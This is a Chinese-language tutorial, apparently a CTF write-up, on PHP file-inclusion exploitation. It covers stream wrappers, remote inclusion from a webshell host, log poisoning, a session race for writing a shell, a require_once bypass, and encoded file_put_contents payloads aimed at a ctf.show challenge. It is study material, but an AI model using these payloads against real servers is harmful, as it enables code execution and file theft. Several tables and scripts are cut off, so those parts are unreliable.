PHP中的文件包含
PHP中文件包含常见的函数
include:找不到被包含的文件时只会产生警告,脚本将继续执行。 |
伪协议
file:// — 访问本地文件系统 |
php://filter
我们使用php://filter/convert.base64-encode/resource=可以读取到文件base64编码之后的内容
php://filter/convert.base64-encode/resource= |
data://
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
**前提:**需要在php.ini中将allow_url_include和allow_url_fopen设置为On
data://text/plain,<?php phpinfo();?> |
file://
用于访问本地文件系统(依旧不能读取PHP文件,因为会解析),并且不受allow_url_fopen,allow_url_include影响
file:///etc/passwd |
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作 文件内容。从而导致任意代码执行
我们直接post请求 在请求包里放入PHP代码即可
POST /include.php?include=php://input HTTP/1.1 |
zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
首先在phpinfo.txt里写入PHP代码,然后将他压缩成一个zip格式的压缩包
在get请求中注意将#编码成%23
?include=zip:///tmp/shell.zip#shell.txt |
phar://
优点:不需要使用绝对路径,可以使用相对路径
?include=phar://phpinfo.zip/phpinfo.txt |
远程文件包含
前提:首先需要确定PHP是否已经开启远程包含功能选项(php默认关闭远程包含功能:allow_url_include=off),开启远程包含功能需要在php.ini配置文件中修改。
?include=http://webshell.com/shell.txt |
日志文件包含
常见日志位置
linux |
我们将我们的恶意代码放在http请求中 然后再包含日志 这样就能达到命令执行的效果
但是恶意代码最好是放在UA头上,直接get请求的话可能会有url编码造成的问题
?include=/var/log/nginx/access/log |
session条件竞争写shell
demo:
|
在cookie处添加PHPSESSID,会默认在session目录下生成类似于sess_aaa的文件 这个aaa名称是我们可以控制的
控制名称需要PHP_SESSION_UPLOAD_PRGRESS参数,这是用来获取实时文件的上传进度,会返回一个session
我们上传上的文件会被马上删除,所以需要使用条件竞争来解决 在他还没删除之前 就把文件包含了 从而造成命令执行
这是一个分秒必争,且需要多次尝试的过程 手工肯定是不行的 我们借助脚本来完成
import os |
只能包含一次?
bypass掉require_once的限制,题目来源[WMCTF2020]Make PHP Great Again
|
软连接:
/proc/self/root
通过ls /proc/self/root可以直观的看到/proc/self/root指向的就是/
当软连接多到一定程度后,可以绕过该require_once函数的限制
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/flag.php |
file_put_contents
php file_put_contents()函数用于把一个字符串写入文件中。该函数会检查用户想要写入的文件,如果该文件不存在,则会创建一个新文件,然后进行字符串的写入。
基本语法:file_put_contents(file,data,mode,context)
参数: PHP file_put_contents()函数接受两个必需参数和两个可选参数。
● file:必需。指定要写入数据的文件。如果文件不存在,则创建一个新文件。
● data:可选。指定要写入文件的数据。可以是字符串、数组或数据流。
● mode:可选。指定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX。
● context:可选。指定文件句柄的环境,自定义上下文或流的行为。context 是一套可以修改流的行为的选项。若使用 null,则忽略。返回值:写入成功时,则返回写入文件的字节数,失败时返回FALSE。
题目来源于ctfshow
|
base64编码绕过
可以看到我们提交的参数file会被url解码一次,content放在die()的后面 这将不会执行content的内容
所以我们就将file传入命令,content传入要写入的文件内容
base64解码时,是4个为一组,root.php(要写入的文件),写入的内容中只有phpdie会参与base64解码,因为phpdie只有6个字节,补两个a就是8字节了
对执行的命令进行编码
aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==进行base64解码后的结果是
]龀
这里要对file=php://filter/write=convert.base64-decode/resource=root.php进行两次全编码(一次是因为后端对他进行了一次解码,一次是因为浏览器传输中会自动解码一次)
import os |
最终payload:
http://e335679b-78f2-4d0d-9097-8272be0b1bf1.challenge.ctf.show?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%32%25%36%66%25%36%66%25%37%34%25%32%65%25%37%30%25%36%38%25%37%30 |
rot13编码绕过
同样的对php://filter/write=string.rot13/resource=rot13.php进行两次url全编码
使用captfencoder对要写入的文件内容编码
content=<?cuc flfgrz('gnp sy0t.cuc');?> |